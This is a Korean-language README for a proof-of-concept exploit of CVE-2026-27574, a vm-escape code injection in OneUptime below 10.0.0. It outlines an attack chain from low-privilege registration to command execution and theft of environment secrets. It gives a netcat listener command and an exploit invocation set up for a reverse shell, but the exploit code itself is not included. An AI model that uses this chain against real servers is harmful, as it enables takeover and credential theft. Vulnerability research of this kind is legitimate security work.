CVE-2026-27574-OneUptime-RCE

개요

CVE-2026-27574에 대한 개념 증명(PoC) 익스플로잇 – OneUptime < 10.0.0의 치명적인 코드 주입 취약점(CWE-94)으로, 프로브 컨텍스트에서 임의 JavaScript 실행을 허용하여 완전한 원격 코드 실행(RCE) 및 민감한 환경 변수 유출로 이어집니다.

수정 버전: OneUptime 10.0.0 (isolated-vm으로 마이그레이션)

익스플로잇 유형: 원격
인증: 낮은 권한(등록된 모든 프로젝트 구성원)
영향: 서버 완전 장악, 자격 증명 탈취, 클러스터 장악

공격 흐름 다이어그램

flowchart TD
    A[Start] --> B[Open Registration]
    B --> C[Register New Account]
    C --> D[Create New Project]
    D --> E[Obtain ProjectMember Role]
    E --> F[Create Custom JavaScript Monitor]
    F --> G[Inject Malicious vm Escape Payload]
    G --> H[Probe Executes Code Every ~60s]
    H --> I[Escape vm Context via constructor chain]
    I --> J[Access process & child_process]
    J --> K[Execute System Commands]
    J --> L[Leak Environment Variables]
    K --> M[Read /etc/passwd, id, hostname, etc.]
    L --> N[Extract ONEUPTIME_SECRET, DB/Redis passwords, etc.]
    M --> O[Full RCE Achieved]
    N --> O
    O --> P[Optional: Reverse Shell / Data Exfiltration]
    P --> Q[End - System Compromised]

이 PoC의 기능

• 자동 계정 등록
• 프로젝트 생성
• 악성 JavaScript 모니터 생성
• 환경 변수 유출
• 기본 명령 실행 증명
• 선택적 리버스 셸 페이로드(주석 처리됨)

사용법

# 리스너 시작 (리버스 셸 사용 시)
nc -lvnp 4444

# 익스플로잇 실행
python3 exploit.py http://target:3002 --lhost YOUR_IP --lport 4444

요구 사항

• Python 3.6+
• requests 라이브러리 (pip install requests)

법적 및 윤리적 고지

이 코드는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법이며 비윤리적입니다.

참고 자료

• GitHub Advisory GHSA-v264-xqh4-9xmm
• 패치 커밋

---

Developed by Mohammed Idrees Banyamer • Jordan • @banyamer_security